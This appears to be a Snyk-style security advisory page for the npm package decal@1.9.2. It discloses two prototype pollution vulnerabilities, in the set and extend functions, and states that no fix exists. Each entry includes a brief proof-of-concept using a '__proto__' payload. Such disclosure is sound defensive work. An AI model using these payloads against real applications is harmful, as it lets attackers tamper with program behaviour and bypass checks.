decal@1.9.2 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the decal package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the set function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
decal.set({}, "__proto__.polluted", "1337");
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the extend function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
const o = JSON.parse('{"__proto__":{"polluted":"1"}}');
decal.extend({}, true, o);
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*